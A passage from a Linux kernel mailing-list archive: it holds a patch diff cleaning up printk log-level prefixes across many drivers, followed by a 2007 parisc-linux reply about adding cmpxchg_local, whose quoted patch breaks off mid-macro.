 		       version, dgrs_firmnum, dgrs_firmdate, dgrs_firmver);
 	}
 
diff --git a/drivers/net/wireless/arlan-main.c b/drivers/net/wireless/arlan-main.c
index 498e848..00edf9a 100644
--- a/drivers/net/wireless/arlan-main.c
+++ b/drivers/net/wireless/arlan-main.c
@@ -1082,7 +1082,7 @@ static int __init arlan_probe_here(struct net_device *dev,
 	if (arlan_check_fingerprint(memaddr))
 		return -ENODEV;
 
-	printk(KERN_NOTICE "%s: Arlan found at %x, \n ", dev->name, 
+	printk(KERN_NOTICE "%s: Arlan found at %x, \n", dev->name, 
 	       (int) virt_to_phys((void*)memaddr));
 
 	ap->card = (void *) memaddr;
diff --git a/drivers/net/wireless/arlan-proc.c b/drivers/net/wireless/arlan-proc.c
index 015abd9..6effdf6 100644
--- a/drivers/net/wireless/arlan-proc.c
+++ b/drivers/net/wireless/arlan-proc.c
@@ -418,13 +418,14 @@ static int arlan_sysctl_info(ctl_table * ctl, int write, struct file *filp,
 	}
 	if (ctl->procname == NULL || arlan_drive_info == NULL)
 	{
-		printk(KERN_WARNING " procname is NULL in sysctl_table or arlan_drive_info is NULL \n at arlan module\n ");
+		printk(KERN_WARNING " procname is NULL in sysctl_table or arlan_drive_info is NULL\n"
+		       KERN_WARNING " at arlan module\n");
 		return -1;
 	}
 	devnum = ctl->procname[5] - '0';
 	if (devnum < 0 || devnum > MAX_ARLANS - 1)
 	{
-		printk(KERN_WARNING "too strange devnum in procfs parse\n ");
+		printk(KERN_WARNING "too strange devnum in procfs parse\n");
 		return -1;
 	}
 	else if (arlan_device[devnum] == NULL)
@@ -439,7 +440,7 @@ static int arlan_sysctl_info(ctl_table * ctl, int write, struct file *filp,
 
 	if (priva == NULL)
 	{
-		printk(KERN_WARNING " Could not find the device private in arlan procsys, bad\n ");
+		printk(KERN_WARNING "Could not find the device private in arlan procsys, bad\n");
 		return -1;
 	}
 	dev = arlan_device[devnum];
@@ -657,7 +658,7 @@ static int arlan_sysctl_info161719(ctl_table * ctl, int write, struct file *filp
 		priva = arlan_device[devnum]->priv;
 	if (priva == NULL)
 	{
-		printk(KERN_WARNING " Could not find the device private in arlan procsys, bad\n ");
+		printk(KERN_WARNING "Could not find the device private in arlan procsys, bad\n");
 		return -1;
 	}
 	memcpy_fromio(priva->conf, priva->card, sizeof(struct arlan_shmem));
@@ -691,7 +692,7 @@ static int arlan_sysctl_infotxRing(ctl_table * ctl, int write, struct file *filp
 		priva = arlan_device[devnum]->priv;
 	if (priva == NULL)
 	{
-		printk(KERN_WARNING " Could not find the device private in arlan procsys, bad\n ");
+		printk(KERN_WARNING "Could not find the device private in arlan procsys, bad\n");
 		return -1;
 	}
 	memcpy_fromio(priva->conf, priva->card, sizeof(struct arlan_shmem));
@@ -719,7 +720,7 @@ static int arlan_sysctl_inforxRing(ctl_table * ctl, int write, struct file *filp
 		priva = arlan_device[devnum]->priv;
 	if (priva == NULL)
 	{
-		printk(KERN_WARNING " Could not find the device private in arlan procsys, bad\n ");
+		printk(KERN_WARNING "Could not find the device private in arlan procsys, bad\n");
 		return -1;
 	}
 	memcpy_fromio(priva->conf, priva->card, sizeof(struct arlan_shmem));
@@ -748,7 +749,7 @@ static int arlan_sysctl_info18(ctl_table * ctl, int write, struct file *filp,
 		priva = arlan_device[devnum]->priv;
 	if (priva == NULL)
 	{
-		printk(KERN_WARNING " Could not find the device private in arlan procsys, bad\n ");
+		printk(KERN_WARNING "Could not find the device private in arlan procsys, bad\n");
 		return -1;
 	}
 	memcpy_fromio(priva->conf, priva->card, sizeof(struct arlan_shmem));
@@ -775,7 +776,7 @@ static int arlan_configure(ctl_table * ctl, int write, struct file *filp,
 
 	if (devnum < 0 || devnum > MAX_ARLANS - 1)
 	{
-		  printk(KERN_WARNING "too strange devnum in procfs parse\n ");
+		  printk(KERN_WARNING "too strange devnum in procfs parse\n");
 		  return -1;
 	}
 	else if (arlan_device[devnum] != NULL)
@@ -800,7 +801,7 @@ static int arlan_sysctl_reset(ctl_table * ctl, int write, struct file *filp,
 
 	if (devnum < 0 || devnum > MAX_ARLANS - 1)
 	{
-		  printk(KERN_WARNING "too strange devnum in procfs parse\n ");
+		  printk(KERN_WARNING "too strange devnum in procfs parse\n");
 		  return -1;
 	}
 	else if (arlan_device[devnum] != NULL)
diff --git a/drivers/parisc/led.c b/drivers/parisc/led.c
index e5d7ed9..9053933 100644
--- a/drivers/parisc/led.c
+++ b/drivers/parisc/led.c
@@ -230,7 +230,8 @@ static int led_proc_write(struct file *file, const char *buf,
 
 parse_error:
 	if ((long)data == LED_NOLCD)
-		printk(KERN_CRIT "Parse error: expect \"n n n\" (n == 0 or 1) for heartbeat,\ndisk io and lan tx/rx indicators\n");
+		printk(KERN_CRIT "Parse error: expect \"n n n\" (n == 0 or 1) for heartbeat,\n"
+		       KERN_CRIT "disk io and lan tx/rx indicators\n");
 	return -EINVAL;
 }
 
diff --git a/drivers/scsi/aha152x.c b/drivers/scsi/aha152x.c
index d30a307..0a96ff4 100644
--- a/drivers/scsi/aha152x.c
+++ b/drivers/scsi/aha152x.c
@@ -2647,7 +2647,8 @@ static void is_complete(struct Scsi_Host *shpnt)
  */
 static void aha152x_error(struct Scsi_Host *shpnt, char *msg)
 {
-	printk(KERN_EMERG "\naha152x%d: %s\n", HOSTNO, msg);
+	printk(KERN_EMERG "\n"
+	       KERN_EMERG "aha152x%d: %s\n", HOSTNO, msg);
 	show_queues(shpnt);
 	panic("aha152x panic\n");
 }
@@ -2973,7 +2974,9 @@ static void show_queues(struct Scsi_Host *shpnt)
 	unsigned long flags;
 
 	DO_LOCK(flags);
-	printk(KERN_DEBUG "\nqueue status:\nissue_SC:\n");
+	printk(KERN_DEBUG "\n"
+	       KERN_DEBUG "queue status:\n"
+	       KERN_DEBUG "issue_SC:\n");
 	for (ptr = ISSUE_SC; ptr; ptr = SCNEXT(ptr))
 		show_command(ptr);
 	DO_UNLOCK(flags);
@@ -3663,7 +3666,8 @@ static int __init aha152x_init(void)
 
 		for (i = 0; i<setup_count; i++) {
 			if (!checksetup(&setup[i])) {
-				printk(KERN_ERR "\naha152x: %s\n", setup[i].conf);
+				printk(KERN_ERR "\n"
+				       KERN_ERR "aha152x: %s\n", setup[i].conf);
 				printk(KERN_ERR "aha152x: invalid line\n");
 			}
 		}
@@ -3676,7 +3680,8 @@ static int __init aha152x_init(void)
 
 		if (setup_count == 0 || (override.io_port != setup[0].io_port)) {
 			if (!checksetup(&override)) {
-				printk(KERN_ERR "\naha152x: invalid override SETUP0={0x%x,%d,%d,%d,%d,%d,%d,%d}\n",
+				printk(KERN_ERR "\n"
+				       KERN_ERR "aha152x: invalid override SETUP0={0x%x,%d,%d,%d,%d,%d,%d,%d}\n",
 				       override.io_port,
 				       override.irq,
 				       override.scsiid,
@@ -3697,7 +3702,8 @@ static int __init aha152x_init(void)
 
 		if (setup_count == 0 || (override.io_port != setup[0].io_port)) {
 			if (!checksetup(&override)) {
-				printk(KERN_ERR "\naha152x: invalid override SETUP1={0x%x,%d,%d,%d,%d,%d,%d,%d}\n",
+				printk(KERN_ERR "\n"
+				       KERN_ERR "aha152x: invalid override SETUP1={0x%x,%d,%d,%d,%d,%d,%d,%d}\n",
 				       override.io_port,
 				       override.irq,
 				       override.scsiid,
diff --git a/drivers/scsi/dpt_i2o.c b/drivers/scsi/dpt_i2o.c
index 502732a..b40efe0 100644
--- a/drivers/scsi/dpt_i2o.c
+++ b/drivers/scsi/dpt_i2o.c
@@ -3148,7 +3148,8 @@ static int adpt_i2o_issue_params(int cmd, adpt_hba* pHba, int tid,
 	}
 
 	if (res[1]&0x00FF0000) { 	/* BlockStatus != SUCCESS */
-		printk(KERN_WARNING "%s: %s - Error:\n  ErrorInfoSize = 0x%02x, "
+		printk(KERN_WARNING "%s: %s - Error:\n"
+		       KERN_WARNING "  ErrorInfoSize = 0x%02x, "
 			"BlockStatus = 0x%02x, BlockSize = 0x%04x\n",
 			pHba->name,
 			(cmd == I2O_CMD_UTIL_PARAMS_SET) ? "PARAMS_SET"
diff --git a/drivers/scsi/mac_scsi.c b/drivers/scsi/mac_scsi.c
index cdbcaa5..1afcb6c 100644
--- a/drivers/scsi/mac_scsi.c
+++ b/drivers/scsi/mac_scsi.c
@@ -311,7 +311,8 @@ int macscsi_detect(struct scsi_host_template * tpnt)
 	printk (KERN_INFO " %d", instance->irq);
     printk(KERN_INFO " options CAN_QUEUE=%d CMD_PER_LUN=%d release=%d",
 	   instance->can_queue, instance->cmd_per_lun, MACSCSI_PUBLIC_RELEASE);
-    printk(KERN_INFO "\nscsi%d:", instance->host_no);
+    printk(KERN_INFO "\n"
+	   KERN_INFO "scsi%d:", instance->host_no);
     NCR5380_print_options(instance);
     printk("\n");
     called = 1;
diff --git a/drivers/scsi/megaraid.c b/drivers/scsi/megaraid.c
index 3907f67..a3083a6 100644
--- a/drivers/scsi/megaraid.c
+++ b/drivers/scsi/megaraid.c
@@ -2077,7 +2077,8 @@ mega_create_proc_entry(int index, struct proc_dir_entry *parent)
 		adapter->controller_proc_dir_entry = proc_mkdir(string, parent);
 
 	if(!controller_proc_dir_entry) {
-		printk(KERN_WARNING "\nmegaraid: proc_mkdir failed\n");
+		printk(KERN_WARNING "\n"
+		       KERN_WARNING "megaraid: proc_mkdir failed\n");
 		return;
 	}
 	adapter->proc_read = CREATE_READ_PROC("config", proc_read_config);
diff --git a/drivers/scsi/megaraid/megaraid_sas.c b/drivers/scsi/megaraid/megaraid_sas.c
index ebb948c..fe05e86 100644
--- a/drivers/scsi/megaraid/megaraid_sas.c
+++ b/drivers/scsi/megaraid/megaraid_sas.c
@@ -744,12 +744,14 @@ megasas_dump_pending_frames(struct megasas_instance *instance)
 	u32 sgcount;
 	u32 max_cmd = instance->max_fw_cmds;
 
-	printk(KERN_ERR "\nmegasas[%d]: Dumping Frame Phys Address of all pending cmds in FW\n",instance->host->host_no);
+	printk(KERN_ERR "\n"
+	       KERN_ERR "megasas[%d]: Dumping Frame Phys Address of all pending cmds in FW\n",instance->host->host_no);
 	printk(KERN_ERR "megasas[%d]: Total OS Pending cmds : %d\n",instance->host->host_no,atomic_read(&instance->fw_outstanding));
+	printk(KERN_ERR "\n");
 	if (IS_DMA64)
-		printk(KERN_ERR "\nmegasas[%d]: 64 bit SGLs were sent to FW\n",instance->host->host_no);
+		printk(KERN_ERR "megasas[%d]: 64 bit SGLs were sent to FW\n",instance->host->host_no);
 	else
-		printk(KERN_ERR "\nmegasas[%d]: 32 bit SGLs were sent to FW\n",instance->host->host_no);
+		printk(KERN_ERR "megasas[%d]: 32 bit SGLs were sent to FW\n",instance->host->host_no);
 
 	printk(KERN_ERR "megasas[%d]: Pending OS cmds in FW : \n",instance->host->host_no);
 	for (i = 0; i < max_cmd; i++) {
@@ -770,25 +772,30 @@ megasas_dump_pending_frames(struct megasas_instance *instance)
 			printk(KERN_ERR "megasas[%d]: frame count : 0x%x, Cmd : 0x%x, Tgt id : 0x%x, lun : 0x%x, cdb_len : 0x%x, data xfer len : 0x%x, sense_buf addr : 0x%x,sge count : 0x%x\n",instance->host->host_no,cmd->frame_count,pthru->cmd,pthru->target_id,pthru->lun,pthru->cdb_len , pthru->data_xfer_len,pthru->sense_buf_phys_addr_lo,sgcount);
 		}
 	if(megasas_dbg_lvl & MEGASAS_DBG_LVL){
+		printk(KERN_ERR "megasas:");
 		for (n = 0; n < sgcount; n++){
 			if (IS_DMA64)
-				printk(KERN_ERR "megasas: sgl len : 0x%x, sgl addr : 0x%08lx ",mfi_sgl->sge64[n].length , (unsigned long)mfi_sgl->sge64[n].phys_addr) ;
+				printk(" sgl len : 0x%x, sgl addr : 0x%08lx",mfi_sgl->sge64[n].length , (unsigned long)mfi_sgl->sge64[n].phys_addr) ;
 			else
-				printk(KERN_ERR "megasas: sgl len : 0x%x, sgl addr : 0x%x ",mfi_sgl->sge32[n].length , mfi_sgl->sge32[n].phys_addr) ;
+				printk(" sgl len : 0x%x, sgl addr : 0x%x",mfi_sgl->sge32[n].length , mfi_sgl->sge32[n].phys_addr) ;
 			}
 		}
-		printk(KERN_ERR "\n");
+		printk("\n");
 	} /*for max_cmd*/
-	printk(KERN_ERR "\nmegasas[%d]: Pending Internal cmds in FW : \n",instance->host->host_no);
+	printk(KERN_ERR "\n"
+	       KERN_ERR "megasas[%d]: Pending Internal cmds in FW : \n",instance->host->host_no);
+	printk(KERN_ERR);
 	for (i = 0; i < max_cmd; i++) {
 
 		cmd = instance->cmd_list[i];
 
 		if(cmd->sync_cmd == 1){
-			printk(KERN_ERR "0x%08lx : ", (unsigned long)cmd->frame_phys_addr);
+			printk("0x%08lx : ", (unsigned long)cmd->frame_phys_addr);
 		}
 	}
-	printk(KERN_ERR "megasas[%d]: Dumping Done.\n\n",instance->host->host_no);
+	printk("\n");
+	printk(KERN_ERR "megasas[%d]: Dumping Done.\n"
+	       KERN_ERR "\n",instance->host->host_no);
 }
 
 /**
diff --git a/drivers/scsi/osst.c b/drivers/scsi/osst.c
index 08060fb..43bc5d8 100644
--- a/drivers/scsi/osst.c
+++ b/drivers/scsi/osst.c
@@ -5936,7 +5936,8 @@ static int __init init_osst(void)
 {
 	int err;
 
-	printk(KERN_INFO "osst :I: Tape driver with OnStream support version %s\nosst :I: %s\n", osst_version, cvsid);
+	printk(KERN_INFO "osst :I: Tape driver with OnStream support version %s\n"
+	       KERN_INFO "osst :I: %s\n", osst_version, cvsid);
 
 	validate_options();
 
diff --git a/drivers/scsi/zalon.c b/drivers/scsi/zalon.c
index 4b5f908..24f0b9e 100644
--- a/drivers/scsi/zalon.c
+++ b/drivers/scsi/zalon.c
@@ -137,7 +137,7 @@ zalon_probe(struct parisc_device *dev)
 		goto fail;
 
 	if (request_irq(dev->irq, ncr53c8xx_intr, IRQF_SHARED, "zalon", host)) {
-		printk(KERN_ERR "%s: irq problem with %d, detaching\n ",
+		printk(KERN_ERR "%s: irq problem with %d, detaching\n",
 			dev->dev.bus_id, dev->irq);
 		goto fail;
 	}
diff --git a/drivers/video/savage/savagefb_driver.c b/drivers/video/savage/savagefb_driver.c
index b855f4a..b60c32b 100644
--- a/drivers/video/savage/savagefb_driver.c
+++ b/drivers/video/savage/savagefb_driver.c
@@ -515,27 +515,30 @@ static void SavagePrintRegs(struct savagefb_par *par)
 	int vgaCRIndex = 0x3d4;
 	int vgaCRReg = 0x3d5;
 
-	printk(KERN_DEBUG "SR    x0 x1 x2 x3 x4 x5 x6 x7 x8 x9 xA xB xC xD xE "
-	       "xF");
+	printk(KERN_DEBUG
+	       "SR    x0 x1 x2 x3 x4 x5 x6 x7 x8 x9 xA xB xC xD xE xF");
 
 	for (i = 0; i < 0x70; i++) {
 		if (!(i % 16))
-			printk(KERN_DEBUG "\nSR%xx ", i >> 4);
+			printk("\n" KERN_DEBUG "SR%xx ", i >> 4);
 		vga_out8(0x3c4, i, par);
-		printk(KERN_DEBUG " %02x", vga_in8(0x3c5, par));
+		printk(" %02x", vga_in8(0x3c5, par));
 	}
 
-	printk(KERN_DEBUG "\n\nCR    x0 x1 x2 x3 x4 x5 x6 x7 x8 x9 xA xB xC "
-	       "xD xE xF");
+	printk("\n"
+	       KERN_DEBUG "\n"
+	       KERN_DEBUG
+	       "CR    x0 x1 x2 x3 x4 x5 x6 x7 x8 x9 xA xB xC xD xE xF");
 
 	for (i = 0; i < 0xB7; i++) {
 		if (!(i % 16))
-			printk(KERN_DEBUG "\nCR%xx ", i >> 4);
+			printk("\n" KERN_DEBUG "CR%xx ", i >> 4);
 		vga_out8(vgaCRIndex, i, par);
-		printk(KERN_DEBUG " %02x", vga_in8(vgaCRReg, par));
+		printk(" %02x", vga_in8(vgaCRReg, par));
 	}
 
-	printk(KERN_DEBUG "\n\n");
+	printk("\n"
+	       KERN_DEBUG "\n");
 }
 #endif
 
diff --git a/fs/dlm/dlm_internal.h b/fs/dlm/dlm_internal.h
index 74901e9..59f3cb4 100644
--- a/fs/dlm/dlm_internal.h
+++ b/fs/dlm/dlm_internal.h
@@ -81,10 +81,11 @@ do { \
 { \
   if (!(x)) \
   { \
-    printk(KERN_ERR "\nDLM:  Assertion failed on line %d of file %s\n" \
-               "DLM:  assertion:  \"%s\"\n" \
-               "DLM:  time = %lu\n", \
-               __LINE__, __FILE__, #x, jiffies); \
+    printk(KERN_ERR "\n" \
+	   KERN_ERR "DLM:  Assertion failed on line %d of file %s\n" \
+	   KERN_ERR "DLM:  assertion:  \"%s\"\n" \
+	   KERN_ERR "DLM:  time = %lu\n", \
+	   __LINE__, __FILE__, #x, jiffies); \
     {do} \
     printk("\n"); \
     BUG(); \
diff --git a/fs/freevxfs/vxfs_bmap.c b/fs/freevxfs/vxfs_bmap.c
index f86fd3c..c65b39a 100644
--- a/fs/freevxfs/vxfs_bmap.c
+++ b/fs/freevxfs/vxfs_bmap.c
@@ -166,7 +166,9 @@ vxfs_bmap_indir(struct inode *ip, long indir, int size, long block)
 			struct vxfs_typed_dev4	*typ4 =
 				(struct vxfs_typed_dev4 *)typ;
 
-			printk(KERN_INFO "\n\nTYPED_DEV4 detected!\n");
+			printk(KERN_INFO "\n"
+			       KERN_INFO "\n"
+			       KERN_INFO "TYPED_DEV4 detected!\n");
 			printk(KERN_INFO "block: %Lu\tsize: %Ld\tdev: %d\n",
 			       (unsigned long long) typ4->vd4_block,
 			       (unsigned long long) typ4->vd4_size,
@@ -229,7 +231,9 @@ vxfs_bmap_typed(struct inode *ip, long iblock)
 			struct vxfs_typed_dev4	*typ4 =
 				(struct vxfs_typed_dev4 *)typ;
 
-			printk(KERN_INFO "\n\nTYPED_DEV4 detected!\n");
+			printk(KERN_INFO "\n"
+			       KERN_INFO "\n"
+			       KERN_INFO "TYPED_DEV4 detected!\n");
 			printk(KERN_INFO "block: %Lu\tsize: %Ld\tdev: %d\n",
 			       (unsigned long long) typ4->vd4_block,
 			       (unsigned long long) typ4->vd4_size,
diff --git a/fs/jffs2/wbuf.c b/fs/jffs2/wbuf.c
index 91d1d0f..3c51cda 100644
--- a/fs/jffs2/wbuf.c
+++ b/fs/jffs2/wbuf.c
@@ -1094,7 +1094,8 @@ int jffs2_write_nand_badblock(struct jffs2_sb_info *c, struct jffs2_eraseblock *
 	if (!c->mtd->block_markbad)
 		return 1; // What else can we do?
 
-	printk(KERN_WARNING "JFFS2: marking eraseblock at %08x\n as bad", bad_offset);
+	printk(KERN_WARNING "JFFS2: marking eraseblock at %08x\n"
+	       KERN_WARNING " as bad", bad_offset);
 	ret = c->mtd->block_markbad(c->mtd, bad_offset);
 
 	if (ret) {
diff --git a/mm/slub.c b/mm/slub.c
index 04151da..2bbf0d9 100644
--- a/mm/slub.c
+++ b/mm/slub.c
@@ -2914,7 +2914,8 @@ static void resiliency_test(void)
 
 	p = kzalloc(16, GFP_KERNEL);
 	p[16] = 0x12;
-	printk(KERN_ERR "\n1. kmalloc-16: Clobber Redzone/next pointer"
+	printk(KERN_ERR "\n"
+	       KERN_ERR "1. kmalloc-16: Clobber Redzone/next pointer"
 			" 0x12->0x%p\n\n", p + 16);
 
 	validate_slab_cache(kmalloc_caches + 4);
@@ -2922,7 +2923,8 @@ static void resiliency_test(void)
 	/* Hmmm... The next two are dangerous */
 	p = kzalloc(32, GFP_KERNEL);
 	p[32 + sizeof(void *)] = 0x34;
-	printk(KERN_ERR "\n2. kmalloc-32: Clobber next pointer/next slab"
+	printk(KERN_ERR "\n"
+	       KERN_ERR "2. kmalloc-32: Clobber next pointer/next slab"
 		 	" 0x34 -> -0x%p\n", p);
 	printk(KERN_ERR "If allocated object is overwritten then not detectable\n\n");
 
@@ -2930,12 +2932,14 @@ static void resiliency_test(void)
 	p = kzalloc(64, GFP_KERNEL);
 	p += 64 + (get_cycles() & 0xff) * sizeof(void *);
 	*p = 0x56;
-	printk(KERN_ERR "\n3. kmalloc-64: corrupting random byte 0x56->0x%p\n",
+	printk(KERN_ERR "\n"
+	       KERN_ERR "3. kmalloc-64: corrupting random byte 0x56->0x%p\n",
 									p);
 	printk(KERN_ERR "If allocated object is overwritten then not detectable\n\n");
 	validate_slab_cache(kmalloc_caches + 6);
 
-	printk(KERN_ERR "\nB. Corruption after free\n");
+	printk(KERN_ERR "\n"
+	       KERN_ERR "B. Corruption after free\n");
 	p = kzalloc(128, GFP_KERNEL);
 	kfree(p);
 	*p = 0x78;
@@ -2945,13 +2949,15 @@ static void resiliency_test(void)
 	p = kzalloc(256, GFP_KERNEL);
 	kfree(p);
 	p[50] = 0x9a;
-	printk(KERN_ERR "\n2. kmalloc-256: Clobber 50th byte 0x9a->0x%p\n\n", p);
+	printk(KERN_ERR "\n"
+	       KERN_ERR "2. kmalloc-256: Clobber 50th byte 0x9a->0x%p\n\n", p);
 	validate_slab_cache(kmalloc_caches + 8);
 
 	p = kzalloc(512, GFP_KERNEL);
 	kfree(p);
 	p[512] = 0xab;
-	printk(KERN_ERR "\n3. kmalloc-512: Clobber redzone 0xab->0x%p\n\n", p);
+	printk(KERN_ERR "\n"
+	       KERN_ERR "3. kmalloc-512: Clobber redzone 0xab->0x%p\n\n", p);
 	validate_slab_cache(kmalloc_caches + 9);
 }
 #else



______________________________________________________
Linux MTD discussion mailing list
http://lists.infradead.org/mailman/listinfo/linux-mtd/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mathieu Desnoyers <mathieu.desnoyers@polymtl.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [patch 15/23] Add cmpxchg_local to parisc
Date: Mon, 27 Aug 2007 17:11:40 -0400
Lines: 101
Approved: news@gmane.org
Message-ID: <20070827211140.GB10627__11834.4682771296$1416624642$gmane$org@Krystal>
References: <20070812145434.520271946@polymtl.ca>
	<20070812145840.691277845@polymtl.ca>
	<20070827210432.GA22484@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624642 28483 80.91.229.3 (22 Nov 2014 02:50:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:42 +0000 (UTC)
Cc: akpm@linux-foundation.org,
 Christoph Lameter <clameter@sgi.com>,
 linux-kernel@vger.kernel.org,
 parisc-linux@parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:28 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Aug 2007 00:29:27 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx103) with SMTP; 28 Aug 2007 02:29:27 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 763A57D622;
	Mon, 27 Aug 2007 18:29:24 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id jJneY7eYggyR; Mon, 27 Aug 2007 18:29:24 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 153F87DB85;
	Mon, 27 Aug 2007 18:29:10 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B508A7DB7E
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Aug 2007 18:29:04 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id I2yPrZs0-hIX for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Aug 2007 18:28:52 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id F2F507DB7C
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Aug 2007 18:28:51 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id A0252494009; Mon, 27 Aug 2007 18:28:51 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
X-Greylist: delayed 11828 seconds by postgrey-1.27 at palinux;
	Mon, 27 Aug 2007 18:28:50 MDT
Original-Received: from toq6-srv.bellnexxia.net (toq6.bellnexxia.net [209.226.175.62])
	by mail.parisc-linux.org (Postfix) with ESMTP id 30397494006;
	Mon, 27 Aug 2007 18:28:50 -0600 (MDT)
Original-Received: from krystal.dyndns.org ([76.65.103.147])
	by tomts20-srv.bellnexxia.net
	(InterMail vM.5.01.06.13 201-253-122-130-113-20050324) with ESMTP id
	<20070827211141.FOEN8273.tomts20-srv.bellnexxia.net@krystal.dyndns.org>;
	Mon, 27 Aug 2007 17:11:41 -0400
Original-Received: from localhost (localhost [127.0.0.1]) (uid 1000)
	by krystal.dyndns.org with local; Mon, 27 Aug 2007 17:11:40 -0400
	id 001C23FD.46D33E0C.00002B6B
Content-Disposition: inline
In-Reply-To: <20070827210432.GA22484@colo.lackof.org>
X-Editor: vi
X-Info: http://krystal.dyndns.org:8080
X-Operating-System: Linux/2.6.21.3-grsec (i686)
X-Uptime: 17:11:07 up 28 days, 21:30, 7 users, load average: 0.64, 1.04, 1.02
User-Agent: Mutt/1.5.13 (2006-08-11)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: BgC4LstuTlIuYLeQeGhrtjJGU2poZRlB
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25444

* Grant Grundler (grundler@parisc-linux.org) wrote:
> On Sun, Aug 12, 2007 at 10:54:49AM -0400, Mathieu Desnoyers wrote:
> > Use the new generic cmpxchg_local (disables interrupt). Also use the generic
> > cmpxchg as fallback if SMP is not set.
> 
> Mathieu,
> thanks for adding __cmpxchg_local to parisc.... but why do we need it?
> 
> By definition, atomic operators are, well, atomic.
> 
> I searched for __cmpxchg_local and found this reference:
>     http://www.ussg.iu.edu/hypermail/linux/kernel/0612.2/1337.html
> 
> but the "root" of that thread (Dec 20, 2006):
>     http://www.ussg.iu.edu/hypermail/linux/kernel/0612.2/1334.html
> 
> Doesn't explain the difference between "local" and "non-local" either.
> Per CPU data should only need memory barriers (in some cases) and
> protection against interrupts (in probably more cases). So I'm not
> understanding why a new set of APIs is needed.
> 
> Can you add a description to Documentation/atomic_ops.txt ?
> *sigh* sorry for being "late to the party" on this one...
> 

Does Documentation/local_ops.txt answer your questions ? If not, please
tell me and I'll gladly explain more.

Mathieu

> cheers,
> grant
> 
> > 
> > Signed-off-by: Mathieu Desnoyers <mathieu.desnoyers@polymtl.ca>
> > CC: clameter@sgi.com
> > CC: parisc-linux@parisc-linux.org
> > ---
> >  include/asm-parisc/atomic.h |   29 +++++++++++++++++++++++++++++
> >  1 file changed, 29 insertions(+)
> > 
> > Index: linux-2.6-lttng/include/asm-parisc/atomic.h
> > ===================================================================
> > --- linux-2.6-lttng.orig/include/asm-parisc/atomic.h	2007-07-20 19:44:40.000000000 -0400
> > +++ linux-2.6-lttng/include/asm-parisc/atomic.h	2007-07-20 19:44:47.000000000 -0400
> > @@ -122,6 +122,35 @@ __cmpxchg(volatile void *ptr, unsigned l
> >  				    (unsigned long)_n_, sizeof(*(ptr))); \
> >    })
> >  
> > +#include <asm-generic/cmpxchg-local.h>
> > +
> > +static inline unsigned long __cmpxchg_local(volatile void *ptr,
> > +				      unsigned long old,
> > +				      unsigned long new_, int size)
> > +{
> > +	switch (size) {
> > +#ifdef CONFIG_64BIT
> > +	case 8:	return __cmpxchg_u64((unsigned long *)ptr, old, new_);
> > +#endif
> > +	case 4:	return __cmpxchg_u32(ptr, old, new_);
> > +	default:
> > +		return __cmpxchg_local_generic(ptr, old, new_, size);
> > +	}
> > +}
> > +
> > +/*
> > + * cmpxchg_local and cmpxchg64_local are atomic wrt current CPU. Always make
> > + * them available.
> > + */
> > +#define cmpxchg_local(ptr,o,n)					  	\
> > +     (__typeof__(*(ptr)))__cmpxchg_local((ptr), (unsigned long)(o),	\
